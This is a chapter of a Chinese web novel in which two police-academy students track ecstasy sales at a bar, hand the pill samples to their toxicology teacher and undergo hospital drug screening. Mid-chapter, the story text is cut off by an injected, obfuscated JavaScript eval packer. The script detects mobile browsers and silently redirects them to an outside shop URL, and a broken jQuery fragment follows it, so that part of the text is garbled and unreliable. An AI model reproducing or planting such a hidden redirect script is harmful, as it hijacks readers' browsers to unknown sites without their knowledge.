(2008年8月14日,华城)
黎梁之给陆鸣川发了条信息,抬步走出酒吧,夜风将面上的眩晕和心里的不快吹散了几分。
路灯昏黄的光晕里,陆鸣川在街对面靠墙站着。他不知何时已经摘了耳夹,黑T恤松松垮垮地套在身上,阔腿裤在夜风里微微晃动,整个人浸在阴影里,安静得像尊雕塑。
黎梁之走过去,脚步还有些虚浮:“你刚才……去哪儿了?”
陆鸣川闻声抬起头,脸上没什么表情,只眼神在他身上迅速扫了一圈,确认无碍后才开口:“酒吧后门,去看了看。”
“后门?”黎梁之愣了愣。
“嗯。”说到这,陆鸣川面上严肃了起来,压低声音,“我还真看到点东西,咱们先离开这儿慢慢说”
黎梁之点了点头,他正有此意。
两人沿着街道漫步,已经接近晚上11点,风里的暑热已经完全消散,温和地拂过两人的脸颊。
“后门小巷里站了几个人,东张西望的,其中一个穿一身黑,提了个小箱子,交给了酒保。”
黎梁之脚步慢了下来。
“我怕引起注意,没敢靠太近。”陆鸣川皱了皱眉,“听不清说什么,只能通过唇语简单辨认,大概意思应该是‘让孟哥注意,最近风声紧,先别拉新客。’”
黎梁之怔在原地。
姓孟。
刚才那个红衬衫贴着他耳边轻声说:“鄙人姓孟。”
他脑子里迅速翻过一个念头,随即想起另一件事:“你什么时候出来的?”
陆鸣川的目光不自然地偏移,模糊说道:“早就出来了。”
“……什么都没听到?”
“什么都没听到。”
黎梁之暗暗松了口气,没有听到他的那首歌就好。
他从胸前口袋里摸出红衬衫给的东西,一张黑底烫金名片,印着“RED酒吧孟同”;还有一个小小密封袋,里面躺着两颗蓝色的药丸。
陆鸣川睁大了眼睛:“哪来的?”
“刚才我要离开时,那个红衬衫给的。”黎梁之实话实说,指尖隔着塑料膜轻轻摩挲着药丸光滑的表面,“原本以为今晚白折腾了......没想到。”
陆鸣川沉默地点点头:“黑衣人说的‘孟哥’应当就是他了。”
黎梁之默认,脑子里却像有什么东西“咔哒”一声合上了。电光火石之间他突然想到刘远考研英语书上的三个字母“B,G,R”,他激动地抓住陆鸣川的袖子,“彩虹糖!这就是彩虹糖!彩虹糖至少有三种颜色,蓝色应该是最低级的,我在刘远书上看到过。”
说罢就把他发现考研英语书里那些潦草笔记和正字符号的事,详细地说了一遍。
说完,他轻轻取出一颗蓝色药丸借着路灯昏黄的光仔细端详,药丸边缘平滑,颜色完整均匀,可以看出不管是压片工艺还是糖衣涂层技术,都是由成熟产业链完成,绝非家庭小作坊。
陆鸣川暗自心惊,黎梁之观察之敏锐,推理之大胆,是他无法与之相比的,这种近乎本能的洞察力和串联线索的能力,让他既佩服,又隐隐生出一丝烦闷,他总得做得更多、变得更强,才能跟得上黎梁之的脚步。
黎梁之还沉浸在拿到彩虹糖样本的兴奋中,他甚至有种冲动,想立刻折返酒吧,去把绿色和红色的“彩虹糖”也弄到手。
他还没把计划说完,陆鸣川已经轻轻抓住了他的胳膊,看着他那异常发亮的眼睛,语气不容置喙,“你哪也不许去,现在我们需要去医院。”
黎梁之猛然明白了他的意思,才发现原来自己脑子里的兴奋感还没完全退潮,他摇了摇头,试图增强目前不多的判断力,然后坚定地说:“不,我们现在需要找姜教授。”
姜准此刻刚走出华城市公安局禁毒支队的大门。
深夜的凉风吹散了会议室里憋闷的烟味,却吹不散他眉间的凝重。他刚参加完“刘远坠楼案”的案情研判会,和连枝一样,他们都没预料到大学城的毒品渗透已经到了这种程度。
姜准,G大毒理学博士,去年毕业之后留任本校担任毒理学老师,顺便代管禁毒系大一新生班主任。
G大和市公安局开设了一个毒情监测与溯源分析的联合实验室,姜准是这个实验室的校方负责人,他的主要研究方向是新型精神活性物质的化学结构解析,正是禁毒一线警力最缺的技术支撑。
接到黎梁之电话时,他刚拉开车门准备回家。深夜来电让他心头一跳,按下接听键时语气还带着疲惫:“梁之?这么晚了,有事?”
电话那头的声音听起来有点飘,但语气很认真:“姜老师,您在家吗?有点急事想跟您当面聊。”
“现在?”
“嗯,有些紧急。”
姜准看了眼手表,沉吟两秒:“你在哪儿?我恰好在外面,现在过去接你。”
两人约定好了地址,黎梁之就和陆鸣川百无聊赖地站在原地等待。
陆鸣川有些不明白:“为什么不直接报警而是找姜老师?”
黎梁之则是惊讶地回复:“你觉得我们现在做的事像大一学生做的吗?”
陆鸣川哽住,摇了摇头。
“那就对了,本来我们就不该随便调查,我们又没有执法权,找警察实在不合适,何况他们也不一定相信我们的说辞,所以......”
陆鸣川面目石化:“所以你就把难题交给姜老师?”
“我们只是替姜老师提供一个线索,若派出所真查到了刘远涉毒肯定会移交支队,那这种情况姜老师一定会作为顾问参与其中,我们直接把证据交给他,也不会引起警察怀疑。”黎梁之义正言辞地解释道,“这不是把难题扔给姜老师,这是让线索走一条能被人认真对待的路。”
大约过了二十分钟,姜准到达约定地点。
他推门下车,一眼就看见了路灯下站着的两个少年。
然后,他的目光在黎梁之脸上顿住了。
黎梁之瞳孔有轻度散大,面部透着不自然的潮红,眨眼的频率快得异常,白衬衫前襟洇开一片可疑的浅蓝色水渍,离得老远,就能闻到两人身上浓重的烟酒气。
姜准的心一下子提到了嗓子眼。
他快步走过去,甚至顾不上寒暄,声音压得很低,却带着明显的严肃:“发生了什么事?”
黎梁之试图挤出个笑容:“也没什么事,就是——”
“黎梁之。”姜准很少这么严肃的对着这群十八九岁的小朋友说话,他向来都是温和的笑着,带着点书卷气的从容:“你现在的状态,瞳孔有轻度散大,面部潮红集中在颧骨区域,站立时重心反复在两脚之间转移,这是中枢神经兴奋后尚未完全代谢的体征表现。”
黎梁之大脑“嗡”的一声。
工作太多年了,许多常识早已成为经验,刚才在酒吧他呕掉了大半,又用冷水冲了很久,以为自己掩饰得还不错。偏偏他忽略了学院派的专业程度,这点小伎俩,根本瞒不过姜准的眼睛。
看样子无法蒙混过关了,他低头哀叹一声然后老老实实地把今晚的事从头到尾说了一遍,当然,他省略了和陆鸣川在洗手间里吵架、还有自己站在台上唱歌那些乱七八糟的部分。
姜准听完后长舒口气,刚从刘远的案情分析会里出来,满脑子都是毒品、渗透、学生涉毒这些糟心事,接到黎梁之电话时,第一反应就是“坏了,这孩子该不会也碰了吧”。
现在知道只是意外摄入微量,一颗心才算落回肚子里。
后怕劲儿过去,他简直要被这两个学生气笑了:“所以你们两个,刚满十八岁没多久,警校大一才念完,就敢跑到酒吧里去查线索?一个在前面钓鱼,一个在后面蹲守,还差点被人下药——完了还洋洋得意地拿着‘证据’回来找我,是想让我替你们交给支队,然后你俩当个‘深藏功与名’的好学生?”
两个人同时沉默了,黎梁之在心里暗叹:毕业太久了,都忘记姜老师是这么较真的人了。
陆鸣川则是一阵恍惚,他到底是怎么跟着黎梁之走到这一步,还天真地认为能瞒过老师的?也不知道跟着黎梁之一起到底是变聪明了还是被降智了。
姜准伸出手,黎梁之看着他愣了两秒,才明白意思,立马把那早上得到的三颗白色药丸,晚上得到的两颗蓝色药丸,还有孟同的名片放在了他的掌心。
姜准低头看了一眼,脸色变了,这居然是真的□□。
他抬头看向面前两个青涩稚嫩的学生,黎梁之正瞪大眼睛,紧张兮兮地看着他,连呼吸都放轻了,生怕他再骂出什么话来。
姜准简直不知道该说什么好,但他看着那三颗白色药丸又陷入了沉思,皱着眉问:“这又是哪来的?”
黎梁之侧过头,用眼神示意陆鸣川。
陆鸣川立刻上前一步,把他们昨天如何通过王磊了解情况、黎梁之如何在网上“钓鱼”、今天早上又如何去网吧交易的事,清清楚楚地说了一遍。
姜准简直气得两眼一黑,“宋岩堂也有参与?”
黎梁之犹豫地点了点头。
“姜老师,”陆鸣川适时开口,语气里带着担忧,“有什么事情回头再说吧,当务之急还是先送梁之去医院比较要紧。”
“呵,你们还知道要去医院?还知道通知老师?”姜准没好气地瞪了他们一眼,“那怎么就不敢报警呢?这是你们这个年纪该碰的事吗?真是一个比一个不省心!快上车,去急诊!”
三人往医院赶去,路上姜准联系了连枝,让她顺便再带上理化检验员一同前往,黎梁之不住地在心里叹气,原本真的不想跟警察碰面的,这回好了,没个半夜回不去了。
挂了电话他对后座的两人说道:“连枝是禁毒支队东区大队一中队的中队长,刘远的案件就是她接手的,一会儿你们配合她做笔录,有什么说什么,别瞒着。”
......
连枝几乎和姜准他们同步赶到急诊部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839583|211589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,姜准迎上去,长话短说:“两个学生,在酒吧被人下了东西,摄入量不大但成分不明,给他们做一套完整的毒物筛查,”说罢看向黎梁之:“这小孩状态看着还行,当时也机灵,吐了大半,应当只吸收了微量,可能已经代谢大半了。”
连枝点点头然后对黎梁之和陆鸣川说:“跟我来。”
检查比黎梁之预想的还要细得多。
理化检验员先给他们做了基础体征采集,量了血压、心率,检查了瞳孔反应,然后静脉采了三管血,又让他们去做了尿检。之后,借着诊室明亮的白炽灯,仔仔细细地检查了他们手臂、肘窝、甚至脚踝,看是否有静脉注射的痕迹。
两个人安安静静的配合,全程什么话都没说。
全部检查完,医生交代护士,“给他挂一袋复方电解质注射液,加维生素B族和维生素C,辅助肝脏代谢。”
陆鸣川就在病房里安静的等着他。
快筛结果出来后,连枝拿着试纸板在灯下看了一眼,递给姜准:“□□类阳性,其他四类阴性。跟他的体征表现一致,应该是MDMA或者它的结构类似物。定量分析要等外送那管血的结果,大概三到五天。”
姜准点点头,脸上没什么表情,但明显神情松了许多,没有检出PMMA的特征,这已经是今晚得到的最好的消息了。
他刚才一路上心都悬着,生怕黎梁之出事。这两个孩子,成绩好,心性正,都是好苗子,偏偏一点不让人省心。他又叹了口气,大概跟连枝讲了一下黎梁之他们发现线索、自己去酒吧调查的经过。
连枝越听越震惊,忍不住又问了一遍:“他们真的是大一学生?”
姜准点点头:“九月份开学大二。”
“他们现在掌握的信息和线索几乎不亚于我们,我们甚至还在对大学城六个酒吧进行全部排查,他们仅靠推理分析就摸进去了,还拿到了样本,姜老师,您这两个学生不一般啊。”
姜准笑着摇了摇头:“太不让人省心了。”
等待吊水结束的过程,连枝带着另一个警察对躺在病床上的黎梁之做笔录,陆鸣川此刻在另一间病房里由剩余两名警察做笔录。
连枝先是安抚了他的情绪,后续看他神色自然也没有害怕或者紧张的情绪,就开始了询问。
笔录做完已经凌晨四点。
黎梁之的眼睛基本睁不开了,输液结束后他整个人陷在一种被掏空后的困倦里,药物的余韵还没完全消退,神经系统的兴奋过后是断崖式的疲惫,脑子仿若一团浸了水的棉花。
一行人走出急诊部大门。
夏末的凌晨,天色还是一片浓稠的墨蓝,只有东方天际线透出一点点熹微的灰白。
空气清凉,带着露水的潮湿气味。
黎梁之靠在陆鸣川身上,昏昏欲睡。走到车边时,他忽然想起什么,挣扎着睁开眼睛,含糊地说:“连队,等一下……”
边说边伸手去解衬衫扣子。
陆鸣川连忙按住他的手,姜准也凑过来:“你要做什么?”
“我衬衣上……倒了很多‘蓝色海洋’,”黎梁之闭着眼睛,大着舌头说,“一块带回去……检验吧……”
他实在没力气了,手抖得连扣子都解不开。
连枝看着他这副样子,忍不住笑了一下,语气温和:“没关系,明天让姜老师带给我就行。记得今晚别洗了。”
姜准摇了摇头,朝连枝他们挥挥手,就把两个不省心的孩子塞进了车里。
车里空气干燥微凉,黎梁之靠在陆鸣川身上,意识断断续续,在半梦半醒间漂浮。
恍惚间,他听到陆鸣川在跟姜准说话。
“……他爸妈最近不在家。我已经跟我妈说过了,今晚去他家照顾他。”
姜准沉默了一会儿,透过后视镜看了眼后排,黎梁之几乎整个人都靠在陆鸣川身上,睡得毫无防备。而陆鸣川稳稳扶着他的肩膀,轻轻拢着他的额头,免得车子颠簸时被撞到车窗。
都是朝夕相处的学生,姜准自然知道他们关系要好。想了想,便同意了:“行,那你照顾好他。有什么事随时给我打电话。”
“嗯。”
车停在黎梁之家楼下,黎梁之被陆鸣川和姜准半扶半扛地弄上楼,然后姜准拿着那件酒气熏天的衬衣出了门。
陆鸣川轻柔地替他脱掉衣服和鞋袜,带他进了浴室。
在一片热气氤氲中,黎梁之清醒了一些,含含糊糊地说:“我自己可以的,你先回去休息吧,好晚了。”
陆鸣川压根没搭理他,沉默地替他擦身,然后吹干头发,换上家居服,将他塞进了被窝里。
黎梁之半张脸陷在柔软的枕头里,彻底睡熟了。
陆鸣川坐在床边贪恋地看了他许久,直到天色已然发亮,才俯下身,很轻、很轻地碰了碰他的嘴唇。
一个近乎虔诚的吻。
然后他直起身,替黎梁之掖好被角,悄无声息地退出了卧室。